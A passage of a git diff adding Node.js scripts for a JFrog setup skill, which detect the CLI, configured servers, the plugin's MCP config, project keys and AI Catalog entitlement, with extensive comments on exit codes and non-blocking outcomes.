— the file only stores public identifiers (server ID, JPD +// URL, canonical project key), never secrets, never a timestamp. +// +// Step 7 going red — exit 1 (catalog not hosted at this JPD / unreachable +// / 5xx) OR exit 4 (reachable but not entitled) — is NON-BLOCKING: Steps +// 1-4 are what "green" means here, and both catalog outcomes +// are reported separately via `catalogEntitled` (and `catalogReason` +// when false) in the final summary line, so a user with no AI Catalog on +// this JPD, or no entitlement to it, still gets a completed, usable +// setup instead of a dead-end red result over a feature this skill's +// core prerequisites (Steps 1-4) don't depend on. +// +// Step 5 (jfrog MCP) going red or erroring is ALSO non-blocking, for +// the same reason: Steps 6 and 7 call the JPD's REST APIs directly +// with credentials from `jf config`, never through `mcpServers.jfrog`, +// so a broken/missing plugin mcp.json doesn't affect whether those +// checks are accurate. Reported separately via `mcpConfigured`. An +// ambiguous server-id (exit 2, "ask") is the one Step 5 outcome that +// still blocks — every step from here on needs a resolved server-id, +// so there's nothing to skip ahead to. +// +// Step 6 (project) going red (no match / not entitled / ambiguous +// match — exit 1 only) is ALSO non-blocking here — this script makes +// exactly one resolution attempt per invocation; the interactive walk +// (SKILL.md) is what re-asks the user for a different project, capped at +// one retry so it can't loop forever. Whether this is the user's first +// attempt or their last, this script itself has no way to tell the +// difference, so it always reports the gap rather than blocking, via +// `projectResolved`. Exit 3 (jf missing, credentials rejected, or an +// unexpected response shape) is a genuine error, NOT covered by this +// non-blocking treatment — same as Step 5's own exit 2, it still sets +// `overall = 1`. The state-file write still happens (server + JPD +// URL known is reason enough to remember them) — it's passed an empty +// project key, and jfrog-state-file.mjs keeps whatever project was +// already on record rather than erasing it. An ambiguous server-id +// (exit 2, "ask") still blocks, same reasoning as Step 5. +// +// Exit 0 -> Steps 1-4 green (see catalogEntitled / mcpConfigured / +// projectResolved for the three non-blocking gaps) +// Exit 1 -> a check failed / went red / requires action + +import { emit, jfAvailable, jfConfigShow, urlForServer, normalizeJpdUrl } from "./lib/jf.mjs"; +import { commandExists } from "./lib/command.mjs"; +import { resolveJfServer } from "./jfrog-resolve-jf-server.mjs"; +import { detectJfCli } from "./jfrog-detect-jf-cli.mjs"; +import { detectJfConfig } from "./jfrog-detect-jf-config.mjs"; +import { detectServerPing } from "./jfrog-detect-server-ping.mjs"; +import { detectJfrogMcp } from "./jfrog-detect-jfrog-mcp.mjs"; +import { detectProject } from "./jfrog-detect-project.mjs"; +import { detectCatalogRuntime } from "./jfrog-detect-catalog-runtime.mjs"; +import { setStateForServer } from "./jfrog-state-file.mjs"; + +const SERVER_ID = process.argv[2] || ""; +const PROJECT_KEY = process.argv[3] || ""; + +// Step 1 has no script to shell out to (see Step 1 in SKILL.md) — running +// this file already proves Node exists, so only the version and `npx` +// need checking. +function checkNode() { + const major = parseInt(process.versions.node, 10); + if (major < 18) { + emit({ check: "node", status: "red", detail: `Node.js v${process.versions.node} is too old — jfrog-init requires Node >= 18.` }); + return 1; + } + if (!commandExists("npx")) { + emit({ check: "node", status: "red", detail: "npx not on PATH — Node.js install is broken." }); + return 1; + } + emit({ check: "node", status: "green", detail: `Node.js v${process.versions.node}` }); + return 0; +} + +let overall = 0; + +if (checkNode() !== 0) overall = 1; +if (overall === 0 && detectJfCli() !== 0) overall = 1; +if (overall === 0 && detectJfConfig() !== 0) overall = 1; +if (overall === 0 && (await detectServerPing(SERVER_ID)) !== 0) overall = 1; + +// Captured here, before Steps 5-7 can flip `overall` for their own +// blocking sub-cases (ambiguous server-id, no project input, jf missing — +// see each step's comment below) — the state-file write further down +// keys off THIS flag, not the final `overall`, per batch-walk.md: the +// write happens whenever Steps 1-4 are green, regardless of the +// mcpConfigured/projectResolved/catalogEntitled gaps Steps 5-7 report. +const steps1To4Passed = overall === 0; + +let mcpConfigured = true; +if (overall === 0) { + const mcpCode = detectJfrogMcp(SERVER_ID); + if (mcpCode === 2) { + // Ambiguous server-id — not a Step 5 failure, a prerequisite every + // later step also needs; nothing to skip ahead to. + overall = 1; + } else if (mcpCode !== 0) { + mcpConfigured = false; + } +} + +let projectResult = null; +// Defaults to false, not true — Step 6 not having run yet (or having +// errored/asked rather than resolved) must never be read as "resolved". +// A default of true here previously meant that if Step 6 hit exit 2 or 3 +// below, `projectResolved` stayed at its initial value instead of being +// set false, so the write section further down (before this fix, gated +// on the same `overall === 0` this block also guards) could fall back to +// PROJECT_KEY — the caller's raw, unvalidated input — for a project Step +// 6 never actually validated. +let projectResolved = false; +if (overall === 0) { + projectResult = await detectProject(SERVER_ID, PROJECT_KEY); + if (projectResult.exitCode === 2 || projectResult.exitCode === 3) { + // Exit 2 (ask): no input passed, or the server-id itself is + // ambiguous — nothing to report a gap about yet, the caller just + // needs to provide one. Exit 3 (error): jf missing, credentials + // rejected, or an unexpected response shape — a genuine failure, NOT + // subject to the retry cap (see SKILL.md Step 6 / flow-diagram.md's + // STOPCREDS), so it must block same as any other real error, not + // silently collapse into "no project resolved yet". + overall = 1; + } else if (projectResult.exitCode === 0) { + projectResolved = true; + } + // Exit 1 (red: ambiguous match, 404, 403) is the retryable, non-blocking + // gap — projectResolved stays false, same as the initial default. +} + +let catalogEntitled = true; +let catalogReason; +if (overall === 0) { + const catalogCode = await detectCatalogRuntime(SERVER_ID); + if (catalogCode === 4) { + // Reachable but not entitled — a permissions gap for the user's + // admin to fix, not a broken setup; doesn't block the walk. + catalogEntitled = false; + catalogReason = "not_entitled"; + } else if (catalogCode === 1) { + // Not hosted at this JPD / unreachable / 5xx — same non-blocking + // treatment as "not entitled": Steps 1-4 are this skill's core + // prerequisites, and the AI Catalog being absent or unreachable says + // nothing about whether those actually work. Distinguished from + // "not_entitled" via `catalogReason` so the caller can phrase the + // final summary accurately instead of always saying "not entitled". + catalogEntitled = false; + catalogReason = "unreachable"; + } else if (catalogCode !== 0) { + // Exit 2 (ask: ambiguous server-id) and exit 3 (error: jf missing, + // credentials rejected, unexpected response shape) are genuine + // stops, not subject to this non-blocking treatment. + overall = 1; + } +} + +// Gated on steps1To4Passed, not the final `overall` — a Step 5/6/7 +// blocking sub-case (ambiguous server-id, no project input, jf missing) +// can flip `overall` to 1 without undoing the fact that Steps 1-4 already +// passed, and the server + JPD URL are worth remembering on their own +// regardless (see batch-walk.md and SKILL.md's Final Summary section). +if (steps1To4Passed) { + if (jfAvailable()) { + const configList = jfConfigShow(); + const resolvedServerId = resolveJfServer(SERVER_ID, configList); + const resolvedJpdUrl = normalizeJpdUrl(urlForServer(configList, resolvedServerId)); + + // Only pass a project key that was actually validated to the state + // file — PROJECT_KEY itself can be non-empty (the caller's raw, + // unvalidated input) even when projectResolved is false; passing "" + // in that case tells jfrog-state-file.mjs to leave any previously + // recorded project alone rather than overwrite it with an unverified + // value. + let resolvedProjectKey = ""; + if (projectResolved) { + resolvedProjectKey = projectResult?.resolvedKey || PROJECT_KEY; + } + + if (resolvedServerId && resolvedJpdUrl) { + // Best-effort: the state file is a "reuse last project?" hint, not a + // source of truth (see jfrog-state-file.mjs) — a write failure here + // doesn't undo the fact that Steps 1-4 above passed, so it's + // surfaced as a warning rather than flipping the summary to red. + // Written even when resolvedProjectKey is "" (project not resolved + // this walk) — jfrog-state-file.mjs then keeps whatever project was + // already on record instead of erasing it, and callers can always + // tell a project is missing here from `projectResolved` above. + const stateResult = setStateForServer(resolvedServerId, resolvedJpdUrl, resolvedProjectKey); + if (!stateResult.ok) { + console.error(`warning: failed to save setup state (${stateResult.error}) — next walk won't offer to reuse this project`); + } + } + } +} + +if (overall === 0) { + console.log( + JSON.stringify({ + summary: "green", + catalogEntitled, + ...(catalogReason ? { catalogReason } : {}), + mcpConfigured, + projectResolved, + }) + ); +} else { + console.log(JSON.stringify({ summary: "red" })); +} + +// Sets process.exitCode rather than calling process.exit() — same reason +// every detector this file imports does: a forced exit can truncate the +// summary line's stdout write if it's still draining through a pipe, and +// this line is the one thing a caller of this script actually reads. +process.exitCode = overall; diff --git a/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs new file mode 100755 index 0000000..066124d --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-catalog-runtime.mjs @@ -0,0 +1,180 @@ +#!/usr/bin/env node +// AI Catalog readiness check for the current user + JPD, against +// /ml/core/api/v1/mcp-registry/ml-projects?pageSize=1 — this skill +// does NOT read a separate JFROG_PLATFORM_URL / JFROG_URL env var; the +// source of truth is what `jf` itself is configured with. +// +// Two sub-checks, both must pass (mirrors jfrog-detect-server-ping.mjs's +// reachability/credentials split): +// Part A — anonymous: proves the endpoint is deployed at this JPD at +// all, independent of this user's entitlement. 2xx/401/403/405/406 = +// up; 404 / connection failure = red, and Part B is skipped. +// Part B — authenticated, with the bearer token (or user+password) +// extracted from `jf config export` — same credential source `jf` +// itself uses. The token exists in memory for the duration of one +// fetch call and is never echoed, logged, or written to disk. NO +// env-var fallback. 2xx = user is entitled to read the AI Catalog. +// +// Splitting reachability from entitlement produces two distinct outcomes: +// Part A red = "this JPD doesn't host AI Catalog" (blocking); Part B +// 401/403 = "catalog is up but your user isn't entitled" (non-blocking — +// see status "not_entitled" / exit 4 below). +// +// Idempotent, read-only, zero mutation. Emits one JSON line. +// +// Usage: node jfrog-detect-catalog-runtime.mjs [server-id] +// +// Exit 0 -> green (catalog deployed AND user entitled) +// Exit 1 -> red (no jf servers configured, no credentials, JPD +// doesn't host AI Catalog, unreachable, or a 5xx — +// mirrors jfrog-detect-server-ping.mjs's treatment +// of the same "backend is erroring" code class). +// This script itself still reports it as "red" — +// but jfrog-detect-all.mjs, the one caller that +// orchestrates the full walk, treats this exit +// code as NON-BLOCKING same as exit 4 below (see +// that file's header comment and +// references/catalog-runtime-branches.md): +// Steps 1-4 don't depend on the AI Catalog +// existing at all. +// Exit 2 -> ask (multiple servers configured, none resolvable — +// caller must prompt the user and re-invoke with +// the picked server-id) +// Exit 3 -> error (jf missing, credentials rejected with a 401, or a +// non-5xx unexpected HTTP code) +// Exit 4 -> not_entitled (catalog reachable, but the user isn't entitled +// — NON-BLOCKING: the rest of the setup is +// unaffected; this is a permissions gap for the +// user's admin to fix, not a broken setup) + +import { emit, isMainModule, resolveCreds, urlForServer, normalizeJpdUrl, authedFetch, anonymousFetchStatus, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; + +const CATALOG_PATH = "/ml/core/api/v1/mcp-registry/ml-projects?pageSize=1"; + +// Shared by both Part A (anonymous) and Part B (authenticated) below — each +// probe can independently come back "000" (connection failed) or "404" +// (this JPD doesn't host the AI Catalog), and both cases must report the +// exact same wording regardless of which probe hit it. +function emitUnreachable(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog unreachable at ${endpoint}: connection failed${NETWORK_UNREACHABLE_HINT}` }); + return 1; +} +function emitNotHosted(endpoint) { + emit({ check: "catalog", status: "red", detail: `catalog endpoint returned 404 at ${endpoint} — this JPD may not host the AI Catalog` }); + return 1; +} +// A 5xx means the backend itself is erroring, same as a connection failure +// from the caller's perspective — treat it as "red", not "error", so it +// matches jfrog-detect-server-ping.mjs's classification of the same code +// class rather than being misreported as a config/environment problem. +function emitServerError(endpoint, httpCode) { + emit({ check: "catalog", status: "red", detail: `catalog probe returned HTTP ${httpCode} (server error) at ${endpoint}` }); + return 1; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// (e.g. the "ask" payload's candidates list) if stdout is still draining +// through a pipe. +export async function detectCatalogRuntime(serverIdArg) { + const resolved = resolveServerOrEmit("catalog", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return resolved.exitCode; + } + const { serverId, configList } = resolved; + + const url = normalizeJpdUrl(urlForServer(configList, serverId)); + if (!url) { + emit({ check: "catalog", status: "red", detail: `no url found in jf config for server-id=${serverId}` }); + return 1; + } + const endpoint = `${url}${CATALOG_PATH}`; + + // ---------- Part A: anonymous reachability ---------- + const anonCode = await anonymousFetchStatus(endpoint); + + if (anonCode === "000") { + return emitUnreachable(endpoint); + } + if (anonCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(anonCode)) { + return emitServerError(endpoint, anonCode); + } + if (!/^2/.test(anonCode) && !/^3/.test(anonCode) && !["401", "403", "405", "406"].includes(anonCode)) { + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${anonCode} at ${endpoint}` }); + return 3; + } + + // ---------- Part B: authenticated entitlement (token from `jf config`) ---------- + const creds = resolveCreds(serverId); + + if (!creds) { + emit({ + check: "catalog", + status: "red", + detail: "cannot authenticate to AI Catalog: no access token or user+password found in jf config. Re-run `jf config add --interactive`.", + }); + return 1; + } + + const { code, body } = await authedFetch(creds, CATALOG_PATH); + const httpCode = code === 0 ? "000" : String(code); + + // A 2xx status alone isn't proof this is really the AI Catalog endpoint — + // a captive portal or misrouted network can also answer 200. Require the + // expected shape (an object with a `projectKeys` array) too. + const looksLikeCatalog = body && typeof body === "object" && Array.isArray(body.projectKeys); + + if (httpCode.startsWith("2") && looksLikeCatalog) { + emit({ check: "catalog", status: "green", detail: `catalog reachable, user entitled (HTTP ${httpCode})` }); + return 0; + } + if (httpCode.startsWith("2") && !looksLikeCatalog) { + emit({ check: "catalog", status: "error", detail: `got HTTP ${httpCode} from ${endpoint} but the response wasn't the expected AI Catalog shape — this may not be the JPD's real endpoint (captive portal / proxy?)` }); + return 3; + } + if (httpCode === "000") { + return emitUnreachable(endpoint); + } + if (httpCode === "401") { + // Unlike 403, a 401 means the credentials themselves were rejected — + // this says nothing about entitlement, so it must not be folded into + // the non-blocking "not_entitled" outcome below. + emit({ + check: "catalog", + status: "error", + detail: `cannot authenticate to AI Catalog: /access rejected the credentials in jf config (HTTP 401). Re-run \`jf config add --interactive\`.`, + }); + return 3; + } + if (httpCode === "403") { + emit({ + check: "catalog", + status: "not_entitled", + detail: `catalog reachable but your user is not entitled to read the AI Catalog (HTTP ${httpCode}). Contact your JFrog admin and ask them to grant read access to /ml/core/api/v1/mcp-registry (typically the "AI Catalog Read" / "Application Admin" role on this JPD). This does not block the rest of your JFrog setup.`, + }); + return 4; + } + if (httpCode === "404") { + return emitNotHosted(endpoint); + } + if (/^5/.test(httpCode)) { + return emitServerError(endpoint, httpCode); + } + + emit({ check: "catalog", status: "error", detail: `catalog probe returned unexpected HTTP ${httpCode} at ${endpoint}` }); + return 3; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = await detectCatalogRuntime(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs new file mode 100755 index 0000000..7352bc5 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-cli.mjs @@ -0,0 +1,114 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI (`jf`) is on PATH. Node's own presence is +// checked one step earlier, inline in jfrog-detect-all.mjs (running that +// .mjs file already proves Node exists, so it only needs to check the +// version). Everything downstream of that gate can safely assume Node. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout, +// with `reason` set on every red result so callers can tell "missing" +// apart from "outdated" without string-sniffing `detail`. +// +// Exit 0 -> green (jf found on PATH and >= MIN_JF_VERSION) +// Exit 1 -> red (reason: "missing" — jf not found on PATH — or +// reason: "broken" — jf is on PATH but hung/failed to +// run — or reason: "outdated" — found, but below +// MIN_JF_VERSION) + +import { emit, isMainModule, runJf, seedJfAvailable } from "./lib/jf.mjs"; + +// Required by Agent Plugins Repositories (Step 7's AI Catalog calls) — +// see docs.jfrog.com/artifactory/docs/agent-plugins-repositories +// ("Configure the JFrog CLI"). +export const MIN_JF_VERSION = "2.106.0"; + +function parseVersionParts(str) { + const m = str.match(/(\d+)\.(\d+)\.(\d+)/); + return m ? [Number(m[1]), Number(m[2]), Number(m[3])] : null; +} + +// Plain X.Y.Z numeric comparison — jf CLI versions never carry a +// pre-release suffix on a stable release, so nothing fancier than this +// is needed. Unparseable input fails closed (treated as older, i.e. +// failing the minimum-version check) — a version string this script +// doesn't recognize is exactly the case where it must NOT silently wave +// an incompatible `jf` through as green. +// +// Exported so jfrog-install-jf-cli.mjs can reuse the exact same +// comparison to decide whether an already-present `jf` still needs +// updating — see that file's currentJfIsUpToDate(). +export function isOlderThan(version, minVersion) { + const a = parseVersionParts(version); + const b = parseVersionParts(minVersion); + if (!a || !b) return true; + for (let i = 0; i < 3; i++) { + if (a[i] !== b[i]) return a[i] < b[i]; + } + return false; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// One `jf --version` spawn does double duty as both the availability +// check and the version string for the detail field — calling +// jfAvailable() first and then running `--version` again to capture its +// output would spawn the same subprocess twice on every green-path run. +export function detectJfCli() { + try { + const version = runJf(["--version"]).trim().split("\n")[0] || "jf found on PATH"; + // Seed lib/jf.mjs's shared jfAvailable() cache with this same result — + // see seedJfAvailable()'s doc comment for why: it stops a later + // jfAvailable() call elsewhere in the same walk from spawning `jf` + // again and risking a self-contradictory answer. + seedJfAvailable(true); + if (isOlderThan(version, MIN_JF_VERSION)) { + emit({ + check: "jf-cli", + status: "red", + reason: "outdated", + // `currentVersion` holds just the raw `jf --version` string, with + // nothing else in it — jf-cli-update-prompt.md fills its + // user-facing placeholder from this field specifically + // because `detail` (below) also carries the minimum-version number, + // which that same prompt is required to never surface to the user. + currentVersion: version, + detail: `${version} — jfrog-init requires JFrog CLI >= ${MIN_JF_VERSION} (Agent Plugins Repositories requirement)`, + }); + return 1; + } + emit({ check: "jf-cli", status: "green", detail: version }); + return 0; + } catch (err) { + // `reason` distinguishes "not on PATH at all" from "on PATH but + // hung/corrupted" — the two route to different user-facing wording + // (see jf-cli-install-prompt.md): "missing" says jf isn't installed, + // which is simply false for a hung/corrupted binary that's sitting + // right there on PATH. + // execFileSync's thrown error does NOT set `.killed` on a timeout + // (that's a `ChildProcess` instance property, not part of the sync + // error shape) — the reliable signal is `.code === "ETIMEDOUT"`, + // which Node sets itself when the timeout fires and it kills the + // child. Verified directly: a stub that sleeps past the timeout + // throws `{ code: "ETIMEDOUT", signal: "SIGTERM", killed: undefined }`. + const timedOut = err && err.code === "ETIMEDOUT"; + const notFound = err && err.code === "ENOENT"; + const reason = notFound ? "missing" : "broken"; + const detail = notFound + ? "JFrog CLI (jf) is not installed." + : timedOut + ? "JFrog CLI (jf) is on PATH but did not respond in time (may be corrupted or hung) — reinstalling should fix this." + : `JFrog CLI (jf) is on PATH but failed to run (${(err && err.message) || "unknown error"}) — reinstalling should fix this.`; + emit({ check: "jf-cli", status: "red", reason, detail }); + return 1; + } +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfCli(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs new file mode 100755 index 0000000..174032a --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jf-config.mjs @@ -0,0 +1,37 @@ +#!/usr/bin/env node +// Detects whether the JFrog CLI has a configured server. Reads ONLY the +// masked `jf config show` output — never `jf config export` (which would +// emit an access token), so this script never sees or logs a token. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Exit 0 -> green (at least one server configured) +// Exit 1 -> red (jf missing, or no server configured) + +import { emit, isMainModule, jfAvailable, jfConfigShow, describeJfUnavailable } from "./lib/jf.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +export function detectJfConfig() { + if (!jfAvailable()) { + emit({ check: "jf-config", status: "red", detail: describeJfUnavailable() }); + return 1; + } + const servers = jfConfigShow(); + if (servers.length > 0) { + emit({ check: "jf-config", status: "green", detail: `${servers.length} server(s) configured` }); + return 0; + } + emit({ check: "jf-config", status: "red", detail: "no jf server configured" }); + return 1; +} + +// Sets process.exitCode rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfConfig(); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs new file mode 100755 index 0000000..510457f --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-jfrog-mcp.mjs @@ -0,0 +1,147 @@ +#!/usr/bin/env node +// Verifies the JFrog PLUGIN'S OWN mcp.json (per harness) exists at its +// installed path AND contains an mcpServers.jfrog entry. This file is +// owned by the plugin — we NEVER write to it, with one exception: +// automatic placeholder substitution (see jfrog-substitute-mcp-placeholders.mjs). +// If it's missing, malformed, or lacks the jfrog entry, the correct fix +// is "reinstall or update the JFrog plugin". +// +// NO endpoint reachability probe — this is a pure "is the plugin +// configured?" check. The walk's other network checks already prove the +// JPD is reachable, and a dead endpoint surfaces immediately the first +// time the user invokes the MCP. +// +// Idempotent, read-only, zero mutation (aside from the placeholder fix). +// +// Usage: node jfrog-detect-jfrog-mcp.mjs [server-id] +// +// [server-id] is forwarded as-is to jfrog-substitute-mcp-placeholders.mjs +// so the placeholder fix reuses the same server the caller already +// resolved (e.g. in Step 4), instead of re-resolving from scratch. +// +// Exit 0 -> green (plugin entry present) +// Exit 1 -> red (plugin file missing/empty/not installed, or missing jfrog entry) +// Exit 2 -> ask (placeholder present but the jf server-id is ambiguous — +// caller must prompt from `candidates` and re-invoke) +// Exit 3 -> error (harness could not be detected, plugin mcp.json is invalid +// JSON, or the file could not be read) + +import { readFileSync, statSync } from "node:fs"; +import { emit as emitJf, hasMcpPlaceholder, isMainModule, jfrogMcpUrl } from "./lib/jf.mjs"; +import { resolveMcpConfig } from "./jfrog-resolve-mcp-config.mjs"; +import { substituteMcpPlaceholders } from "./jfrog-substitute-mcp-placeholders.mjs"; + +function emit(status, file, detail, extra = {}) { + emitJf({ check: "jfrog-mcp", status, file, detail, ...extra }); +} + +// Surfaces the substituter's own failure detail (ambiguous server w/ +// candidates, no url set in jf config, or a read/write error) instead of +// one hardcoded message, so the user is pointed at the actual cause +// instead of always being told to check the JPD URL even when the real +// issue is an ambiguous server-id. +function substituterFailureDetail(result) { + return Array.isArray(result.candidates) && result.candidates.length + ? `${result.detail} (candidates: ${result.candidates.join(", ")})` + : result.detail; +} + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. The CLI entry point below is a thin wrapper around this function. +// +// Returns the exit code rather than calling process.exit() — a forced +// exit can truncate the JSON line's stdout write if it's still draining +// through a pipe. +export function detectJfrogMcp(serverIdArg) { + const SERVER_ID = serverIdArg || ""; + const resolved = resolveMcpConfig(); + if (!resolved.path) { + // code 2 = plugin file not installed on disk ("reinstall the plugin"); + // code 1 = harness could not be detected. + const status = resolved.code === 2 ? "red" : "error"; + emit(status, "", resolved.error.replace(/\s+/g, " ").replace(/"/g, "'")); + return resolved.code === 2 ? 1 : 3; + } + + const target = resolved.path; + + // A single guarded stat instead of existsSync()+statSync() — two + // separate calls leave a TOCTOU window where the file can vanish + // between them (plugin reinstall, concurrent placeholder-substitution + // rename) and throw an uncaught ENOENT that would crash the whole walk. + let size; + try { + size = statSync(target).size; + } catch { + size = 0; + } + if (size === 0) { + emit("red", target, "plugin mcp.json is missing or empty — reinstall or update the JFrog plugin"); + return 1; + } + + let raw; + try { + raw = readFileSync(target, "utf8"); + } catch (err) { + emit("error", target, `could not read ${target}: ${err.message}`); + return 3; + } + let parsed; + try { + parsed = JSON.parse(raw); + } catch { + emit("error", target, "plugin mcp.json is not valid JSON — reinstall or update the JFrog plugin"); + return 3; + } + + // Auto-substitute any `${JFROG_PLATFORM_URL}` / `${JFROG_URL}` placeholder + // with the real JPD URL from `jf config`. Left in place, the MCP would + // fail to load in the IDE/agent since the env var doesn't exist. + // Checked against mcpServers.jfrog.url specifically (not the raw file + // text) so a placeholder-shaped string elsewhere in the plugin's + // mcp.json — an unrelated MCP entry, say — can't trigger substitution + // for a jfrog.url that has none. + const preSubstitutionUrl = jfrogMcpUrl(parsed); + if (typeof preSubstitutionUrl === "string" && hasMcpPlaceholder(preSubstitutionUrl)) { + const result = substituteMcpPlaceholders(target, SERVER_ID); + if (result.exitCode === 2) { + // Ambiguous jf server-id — pass the structured candidates through + // instead of collapsing to red, so the caller can re-prompt the + // same way it would for any other ambiguous-server case. + emit("ask", target, result.detail, { unresolved: "server", candidates: result.candidates }); + return 2; + } + if (result.exitCode !== 0) { + // Preserve the substituter's own red/error distinction (exit 1 vs 3) + // instead of collapsing both into red — Step 5 in SKILL.md relies on + // that distinction to pick the right Final Summary wording. + const status = result.status === "error" ? "error" : "red"; + emit(status, target, `plugin mcp.json contains a JFROG_PLATFORM_URL placeholder and automatic substitution failed — ${substituterFailureDetail(result)}`); + return status === "error" ? 3 : 1; + } + try { + parsed = JSON.parse(readFileSync(target, "utf8")); + } catch (err) { + emit("error", target, `substitution succeeded but re-reading ${target} failed: ${err.message}`); + return 3; + } + } + + const url = jfrogMcpUrl(parsed); + const hasUrl = typeof url === "string" && url.trim() !== ""; + if (!hasUrl) { + emit("red", target, "plugin mcp.json has no valid mcpServers.jfrog entry (missing or empty url) — reinstall or update the JFrog plugin"); + return 1; + } + + emit("green", target, "plugin mcp.json present with mcpServers.jfrog entry"); + return 0; +} + +if (isMainModule(import.meta.url)) { + process.exitCode = detectJfrogMcp(process.argv[2]); +} diff --git a/skills/jfrog-init/scripts/jfrog-detect-project.mjs b/skills/jfrog-init/scripts/jfrog-detect-project.mjs new file mode 100755 index 0000000..55469d9 --- /dev/null +++ b/skills/jfrog-init/scripts/jfrog-detect-project.mjs @@ -0,0 +1,232 @@ +#!/usr/bin/env node +// Resolves and validates the project key for the walk. The picked value is +// NEVER persisted (no env var, no shell profile) — the caller passes it as +// a positional argument on the re-invocation and threads it forward. +// +// Idempotent, read-only, zero mutation. Emits one JSON line to stdout. +// +// Why /access/... and not `jf rt curl`: `jf rt curl ` rewrites every +// path to `/artifactory/`, which 404s for non-Artifactory +// endpoints. The Projects endpoint (GetProjectsList — +// https://docs.jfrog.com/projects/reference/getprojectslist) lives under +// /access/, off the JPD root, so credentials are resolved via `jf config +// export` and a direct fetch is issued instead. +// +// Resolution — matches BOTH project_key and display_name (case- +// insensitive; see lib/projects.mjs for the exact tier order). Never +// guesses, never assumes "default", never invents a value. +// +// The enumeration call is cached per server for a few minutes (see +// lib/project-cache.mjs) — the caller re-invokes this script once per +// user attempt within a single walk, and matching is offline anyway, +// so only the first attempt actually hits the network. +// +// Usage: node jfrog-detect-project.mjs [server-id] [project-input] +// +// Every non-green result also carries `candidatesWithNames` (up to the +// full enumerated project list, `{key, displayName}`, sorted) whenever +// enumeration succeeded, so the caller can offer the first two as an +// interactive pick-one-or-type-your-own prompt instead of demanding the +// user type a key or name from memory. A confirmed-not-found input (404) +// additionally carries `similarProjects` — up to 2 "did you mean...?" +// suggestions (see lib/projects.mjs) — when the typed input looks like a +// near-miss of an existing project (e.g. "widgets20" when "widgets2" exists). +// +// Exit 0 -> green (project exists and is accessible; resolved canonical key in detail) +// Exit 1 -> red (project does not exist, no access, ambiguous match, or a +// 5xx from the existence probe — the backend is erroring +// — or the probe could not connect at all. The last two +// are indistinguishable from here, so they share a +// classification, the same way +// jfrog-detect-catalog-runtime.mjs treats its own "000".) +// Exit 2 -> ask (no input passed, or multiple jf servers configured with none +// resolvable — caller must prompt the user and re-invoke) +// Exit 3 -> error (jf missing, credentials unavailable/rejected, an +// unexpected non-5xx HTTP code, or a 2xx response that +// wasn't shaped like the real GetProject endpoint) + +import { emit, isMainModule, resolveCreds, authedFetch, NETWORK_UNREACHABLE_HINT } from "./lib/jf.mjs"; +import { resolveServerOrEmit } from "./jfrog-resolve-jf-server.mjs"; +import { resolveProject, projectsWithNames, findSimilarProjects, capCandidatesForDisplay } from "./lib/projects.mjs"; +import { readCachedProjectList, writeCachedProjectList } from "./lib/project-cache.mjs"; + +// Exported so jfrog-detect-all.mjs can call this in-process instead of +// shelling out to a `node` subprocess and re-parsing its stdout — the +// same in-process pattern jfrog-resolve-jf-server.mjs / +// jfrog-resolve-mcp-config.mjs / jfrog-substitute-mcp-placeholders.mjs +// use. Returns { exitCode, resolvedKey } — resolvedKey is set on the +// green path so the caller can read it directly instead of re-parsing +// the emitted JSON line. The CLI entry point below is a thin wrapper. +// +// Every branch below emits exactly once and returns the exit code rather +// than calling process.exit() — a forced exit can truncate the JSON line +// if stdout is still draining through a pipe. +export async function detectProject(serverIdArg, projectInputArg) { + const resolved = resolveServerOrEmit("project", serverIdArg, { status: "error", exitCode: 3 }); + if (resolved.exitCode !== null) { + return { exitCode: resolved.exitCode }; + } + const { serverId } = resolved; + const projectInput = projectInputArg 